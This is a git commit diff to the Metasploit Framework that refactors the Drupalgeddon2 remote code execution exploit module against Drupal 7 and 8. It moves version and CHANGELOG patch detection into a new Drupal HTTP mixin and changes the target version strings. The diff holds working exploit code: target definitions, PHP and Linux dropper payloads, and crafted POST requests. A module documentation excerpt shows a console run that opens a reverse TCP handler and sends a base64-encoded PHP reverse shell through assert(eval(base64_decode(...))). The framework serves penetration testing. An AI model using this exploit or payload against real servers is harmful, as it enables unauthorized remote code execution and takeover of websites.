Land #9968, second round of Drupalgeddon 2 updates
parent
38465e69a8
commit
935fa6414e
|
@ -86,14 +86,14 @@ msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true
|
|||
verbose => true
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check
|
||||
|
||||
[*] Drupal 7.x targeted at http://172.17.0.3/
|
||||
[*] Drupal 7 targeted at http://172.17.0.3/
|
||||
[+] Drupal appears unpatched in CHANGELOG.txt
|
||||
[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue
|
||||
[+] 172.17.0.3:80 The target is vulnerable.
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Drupal 7.x targeted at http://172.17.0.3/
|
||||
[*] Drupal 7 targeted at http://172.17.0.3/
|
||||
[+] Drupal appears unpatched in CHANGELOG.txt
|
||||
[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB
|
||||
[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw));
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
module Msf
|
||||
module Exploit::Remote::HTTP::Drupal
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
|
||||
# Ensure we don't hit a redirect (e.g., /drupal -> /drupal/)
|
||||
# XXX: Naughty datastore modification instead of send_request_cgi!
|
||||
datastore['TARGETURI'] = normalize_uri(datastore['TARGETURI'], '/')
|
||||
end
|
||||
|
||||
def drupal_version
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
# Check for an X-Generator header
|
||||
version = version_match(res.headers['X-Generator'])
|
||||
|
||||
return version if version
|
||||
|
||||
# Check for a <meta> tag
|
||||
generator = res.get_html_document.at(
|
||||
'//meta[@name = "Generator"]/@content'
|
||||
)
|
||||
|
||||
return unless generator
|
||||
|
||||
version_match(generator.value)
|
||||
end
|
||||
|
||||
def drupal_changelog(version)
|
||||
return unless version && Gem::Version.correct?(version)
|
||||
|
||||
uri = Gem::Version.new(version) < Gem::Version.new('8') ?
|
||||
normalize_uri(target_uri.path, 'CHANGELOG.txt') :
|
||||
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
res.body
|
||||
end
|
||||
|
||||
def version_match(string)
|
||||
return unless string
|
||||
|
||||
# Perl devs love me; Ruby devs hate me
|
||||
string =~ /^Drupal ([\d.]+)/
|
||||
|
||||
return unless $1 && Gem::Version.correct?($1)
|
||||
|
||||
Gem::Version.new($1)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -114,6 +114,7 @@ require 'msf/core/exploit/browser_autopwn2'
|
|||
# Custom HTTP Modules
|
||||
require 'msf/core/exploit/http/wordpress'
|
||||
require 'msf/core/exploit/http/joomla'
|
||||
require 'msf/core/exploit/http/drupal'
|
||||
require 'msf/core/exploit/http/typo3'
|
||||
require 'msf/core/exploit/http/jboss'
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Drupal
|
||||
# XXX: CmdStager can't handle badchars
|
||||
include Msf::Exploit::PhpEXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
@ -44,7 +44,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Payload' => {'BadChars' => '&>\''},
|
||||
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
|
||||
'Targets' => [
|
||||
#
|
||||
# Automatic targets (PHP, cmd/unix, native)
|
||||
|
@ -75,25 +74,25 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
['Drupal 7.x (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Drupal 7.x (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Drupal 7.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Drupal 7.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('7.x'),
|
||||
'Version' => Gem::Version.new('7'),
|
||||
'Type' => :linux_dropper
|
||||
],
|
||||
#
|
||||
|
@ -102,25 +101,25 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
['Drupal 8.x (PHP In-Memory)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :php_memory
|
||||
],
|
||||
['Drupal 8.x (PHP Dropper)',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :php_dropper
|
||||
],
|
||||
['Drupal 8.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :unix_memory
|
||||
],
|
||||
['Drupal 8.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('8.x'),
|
||||
'Version' => Gem::Version.new('8'),
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
],
|
||||
|
@ -129,7 +128,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
|
||||
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
|
||||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
|
||||
])
|
||||
|
@ -143,7 +141,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def check
|
||||
checkcode = CheckCode::Safe
|
||||
|
||||
if drupal_version
|
||||
@version = target['Version'] || drupal_version
|
||||
|
||||
if @version
|
||||
print_status("Drupal #{@version} targeted at #{full_uri}")
|
||||
checkcode = CheckCode::Detected
|
||||
else
|
||||
|
@ -151,9 +151,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if drupal_unpatched?
|
||||
changelog = drupal_changelog(@version)
|
||||
|
||||
if changelog && changelog.include?('SA-CORE-2018-002')
|
||||
print_warning('Drupal appears patched in CHANGELOG.txt')
|
||||
elsif changelog
|
||||
print_good('Drupal appears unpatched in CHANGELOG.txt')
|
||||
checkcode = CheckCode::Appears
|
||||
else
|
||||
print_error('Could not determine Drupal patch level')
|
||||
end
|
||||
|
||||
token = random_crap
|
||||
|
@ -167,10 +173,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
|
||||
if check == CheckCode::Safe && datastore['ForceExploit'] == false
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
unless @version
|
||||
print_warning('Targeting Drupal 7.x as a fallback')
|
||||
@version = Gem::Version.new('7')
|
||||
end
|
||||
|
||||
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
|
||||
# XXX: Naughty datastore modification
|
||||
|
@ -282,9 +293,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
res =
|
||||
case @version.to_s
|
||||
when '7.x'
|
||||
when '7'
|
||||
exploit_drupal7(func, cmd)
|
||||
when '8.x'
|
||||
when '8'
|
||||
exploit_drupal8(func, cmd)
|
||||
end
|
||||
|
||||
|
@ -300,72 +311,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
res
|
||||
end
|
||||
|
||||
def drupal_version
|
||||
if target['Version']
|
||||
@version = target['Version']
|
||||
return @version
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path
|
||||
)
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
# Check for an X-Generator header
|
||||
@version =
|
||||
case res.headers['X-Generator']
|
||||
when /Drupal 7/
|
||||
Gem::Version.new('7.x')
|
||||
when /Drupal 8/
|
||||
Gem::Version.new('8.x')
|
||||
end
|
||||
|
||||
return @version if @version
|
||||
|
||||
# Check for a <meta> tag
|
||||
generator = res.get_html_document.at(
|
||||
'//meta[@name = "Generator"]/@content'
|
||||
)
|
||||
|
||||
return unless generator
|
||||
|
||||
@version =
|
||||
case generator.value
|
||||
when /Drupal 7/
|
||||
Gem::Version.new('7.x')
|
||||
when /Drupal 8/
|
||||
Gem::Version.new('8.x')
|
||||
end
|
||||
end
|
||||
|
||||
def drupal_unpatched?
|
||||
unpatched = true
|
||||
|
||||
# Check for patch level in CHANGELOG.txt
|
||||
uri =
|
||||
case @version.to_s
|
||||
when '7.x'
|
||||
normalize_uri(target_uri.path, 'CHANGELOG.txt')
|
||||
when '8.x'
|
||||
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
if res.body.include?('SA-CORE-2018-002')
|
||||
unpatched = false
|
||||
end
|
||||
|
||||
unpatched
|
||||
end
|
||||
|
||||
def exploit_drupal7(func, code)
|
||||
vars_get = {
|
||||
'q' => 'user/password',
|
||||
|
@ -381,7 +326,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => target_uri.path,
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
|
@ -404,7 +349,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => target_uri.path,
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
|
|
Loading…
Reference in New Issue